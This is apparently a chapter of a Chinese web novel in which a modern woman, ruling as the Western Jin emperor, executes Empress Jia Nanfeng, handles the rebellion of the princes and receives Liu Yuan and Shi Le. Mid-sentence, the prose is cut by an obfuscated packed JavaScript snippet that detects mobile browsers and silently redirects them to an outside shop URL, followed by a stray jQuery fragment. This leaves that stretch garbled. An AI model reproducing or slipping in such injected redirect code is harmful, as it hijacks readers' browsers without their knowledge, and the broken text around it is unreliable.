虽然古代效率慢,但秦晓清来了就不一样了。她最重视效率,因此不过一月,《泰始律》中的《八议》正式废除,一大批特权阶级正式丧失了特权。
于是八王之乱如期而至。
领头的是最开始被收拾的赵王司马伦和一直没被收拾的楚王司马玮,贾南风就是他们在朝中的内应。
秦晓清之所以清楚,是因为她一直在派人调查贾南风。不过,虽然贾南风因为谋反被抓了,但司马伦和司马玮却没有忘记继续“清君侧”。
他们带领的大大小小二十个的司马家的王爷,也在各地响应,都要进京勤王。
贾南风读了书,不过没读书她也知道,她死定了,除非那群蠢货造反成功。
“司马衷,你怎么知道我谋反的事?你派人监视我?”
秦晓清不答反问,“你找漂亮的小男孩倒没什么,用过就扔也行,为什么非要杀人?”
“哼,死人不会说话,还有把他们变成死人更好的办法?”贾南风坐在地上,冷笑着说。
“好办法?确实是好。现在还用着旧律法,我可以派人毒死你,不犯法。可惜,要是用新律法,你还能多活几年。”
贾南风深感可惜,嘴上却说:“要不是你心善,改了办法,那些王爷早就被砍了,哪里有起义的机会?跌坑里了吧?假好心。你要真好,看在咱们夫妻一场,放了我!”
秦晓清听得想吐。
“你的女儿,我会照顾好的,你就去死吧。你太危险了,死得越快越好,不然我不安心啊!”
贾南风拼命挣扎,“放了我,我帮你劝降他们!我让他们哪来滚哪去。”
“滚,别碰我!”
“滚!”
秦晓清有一瞬间的心动,可是贾南风必须死。虽然“八王之乱”又起,但是危机也是机遇,搞得好了,增强朝廷实力,她就可以开科举了,釜底抽薪。
“赐白绫,董成,你来。”
董成带着两个太监,控制住前皇后,把她吊死了。贾南风拼命挣扎,但这样只会死得更快。
“你们处理好。”
秦晓清心情复杂地离开了,看来下次她不能再看这样的画面了,她就是个普通人,这样太吓人了。
物伤其类啊!
但贾南风的死,就像秦晓清心中一直栓着一块大石头终于落地了,她感到了前所未有的轻松愉快。
她又得到了安全感,别人未必敢杀皇帝,贾南风一定敢。不过皇帝也没什么了不起的,司马家的皇帝更是。
她觉得贾南风其实还不错,可以当一个平庸君主。但西晋问题太大,她虽然有能力,但不够。而且她夺了权,一定会杀了自己,所以不能留。
“周处,周爱卿,叛军现在是什么情况?”
周处现在是大司马,主管军事。他的儿子周玘是荆州刺史,父子二人,都位高权重。
“情况尚可,目前成西边,成都玩王闹得最凶。其次是东边琅琊王,然后是北边,最后是南边。听说长沙王还劝其他王爷不要起兵。”
“他们有攻打下城池吗?”
“成都王已经连克两城了…”
“怎么会?”秦晓清不敢置信,“也是,他们之中也有能人,寒门子弟那么多,朕不能掉以轻心。”
“陛下无需多虑,臣以为三月之内必能平定战乱。”周处认为那些人不过都是些乌合之众,禁军出动,一定战无不胜。
“朕是做了准备,但还是不放心了。一切就拜托大司马了,朕也不懂军事。只要大司马看过战报送给朕看看就好。”
周处得到了皇帝的信任,内心非常感动,回去也给地方将领信任,让他们便宜行事。
秦晓清是真不懂,她心地又比较善良,连建议都不敢提,怕限制了那些将领。
搞得卫铄觉得皇帝很没有皇帝的样子,她坐在皇帝对面。“你对王大人卫大人那些人尊重也说得过去,大家都喜欢。怎么对刘渊那样的胡人也好?”
“议论的人多得你也知道了?”
“那是,我本来就入朝为官了。刘渊…非我族类其心必异啊,他看着不像正经臣子。”
这话听着有点政治不正确,但用在刘渊身上,不能算不对。因此秦晓清也没生气,“不管怎么样,总要给个机会,很多人都缺这个机会。”
“不行就撤,就像那两座城的县令。”
卫铄看着南方,“你不懂打仗我也不懂,不然我肯定替你出征,也当当女将军。”
“当女书法家也很好,我经常带着你的作品,时常欣赏。”
卫铄现在还在练习,但皇帝总是一口一个书法家称呼她,好像她真是什么大家一样,总是让她心花怒放。
“我哪有那么厉害。”
看到卫铄撒娇,秦晓清也跟她分享趣事。“周处你知道吧?我把国家大事托付给他,他走之前还请求出战得战功,为他小儿子赎罪,气死我了。”
“赎罪银都废除了,陛下肯定是不许将功折罪的。”卫铄说。
“当然,再说他的才能更适合再幕后,出战自然有刘琨这样更适合的人。我让周札管国库,他贪污,我将他免职下狱有什么不对?”
卫铄自然站皇帝。“现在与过去不同了,要是以前,周家的小儿子固然出些钱就好了,他们却谁敢用?前途都没了。”
“是啊。还好这是小事,他们求不得也就算了。除了处理国事,我最在乎的就是我的皇庄。你想和我去玩玩吗?我看过,有些地方风景很好。”
卫铄想到了家里人最关心的事,“陛下在皇庄里减租减息,以后也会在我们世家的土地上这样?“
秦晓清沉默。
“这怎么行呢?以前一年租子几万担,以后要少一大半。我们麻烦,你也麻烦了,他们有的是办法让你干不成。”
“我还非要干成不可。”
“减租子还可以,有些地方确实要得太多了。”卫铄想起以前听说过的事,“可是让奴隶重新成为平民…有什么用吗?先皇下过几次《释奴令》,我们都听了,最后他们还是卖身成了奴隶。”
卫铄知道得其实不少,但她觉得这些都是皇帝想出来要名声的举措,没什么实际作用。与其干这些,不如省时间多相处。
“…你们中肯定有真心的,…是朝廷压迫太多,他们被迫又成了隐户。但我不同,我正要减轻他们的压迫。这时候配合的恐怕就不多了。”
卫铄:”朝廷?朝廷还会错?”
“当然,皇帝错得就更离谱了。自己都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924585|134237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是好东西,怎么可能真的减轻平民的负担?现在生产力还是太低了,白糖都没搞出来,总的产出其实有限。皇帝世家多吃点多拿的,平民的就少了,必须有人牺牲。”
卫铄喜欢听这些,“牺牲?挺形象的。以前牺牲的总是平民吧?他们怎么受得了的?”
秦晓清故意吓她,“当然受不了,过个一两百年,平民被压榨到了极限,就会起义,杀皇帝杀世家。平民多了,世家少了就又够了。”
卫铄就是世家子弟,听了真是胆战心惊。她十八岁以前过得都算是快活,一天也没担心过粮食,更没担心过自己的命。
原来,她竟然这么危险么?
很快,卫铄就和以前的秦晓清一样,觉得四周危机四伏。
“所以要有厉害的皇帝,敢削减皇族的用度,打压世家。”秦晓清眨眨眼睛。
“原来你竟然有这样的雄心壮志?也是,这样才是大男人。皇族用度怎么削?”
“首先,他们敢造反,自然要全都降等降待遇。最差的给低保,保证死不了。最差的都是什么将军的情况,那是不可能了。”
“陛下真是太狠了,造反的王爷,不但一削到底成了平民,子孙也一分禄米也没有。”左芬被皇帝的冷酷震撼。
她走过大半个河南,如果真这样,小地主都过得比宗室好了。可是这些造反的王爷也都不干好事,都有自己的土地,不但要八分的租子,还要佃农女人的初夜权,还动辄打骂。
左芬想到了皇帝陛下的皇庄,听说皇帝在皇庄里减租减息…真的吗?
秦晓清又去了洛阳外的皇庄,回来就见到了刘渊。
刘渊还带着他的儿子刘聪,石勒也来了。
秦晓清微笑着接见了他们,也不忘让殿中军围着,怕遭遇不测。
“朕已经给了你们奖赏,你们想要见朕,如今也见了,你们有什么话就说。”
刘渊本来心已经定了,决心造反。可是晋朝皇帝竟然不傻了,还任用了他,难道天命在晋朝?
刘渊迷信,便放弃独立,转而劝儿子效忠皇帝。石勒也一样,见到活生生,言谈自如,礼贤下士的皇帝,更是让他们想要下拜。
但皇帝不要他们跪,赐了座。
石勒年纪还小,更是被旱灾逼得要自卖自身,因此最是崇敬皇帝。“陛下,臣侥幸有些身份,臣父愿将臣送到陛下身边为质,陛下愿意吗?”
石勒是很愿意的,他想陪在陛下左右要是没有皇帝的预支赏赐的金银和土地,他的部落和他怎么可能安心活着?
刘聪知道皇帝不爱杀人,也愿意。回到匈奴,这就是他顺利继承的保证。
刘渊:“请陛下收下臣的儿子,不收就是看不起我们。”
刘聪:“陛下,臣还带了一些壮士来,陛下若是对我们匈奴人的生活有兴趣,可以来看看我们。”
“不用去关中也能看到匈奴人的生活,朕愿意。”秦晓清看向石勒,“朕对羯族人的生活也很感兴趣,你们今日先住在驿站,明日朕收拾好皇宫,你们再住进来。”
刘渊和石勒出现在皇宫,说明北方已经平定了,这时候离北方的王爷们起兵叛乱不过一个月而已。北方因为这些胡人的存在,竟然最先平定,这是谁都没有想到的。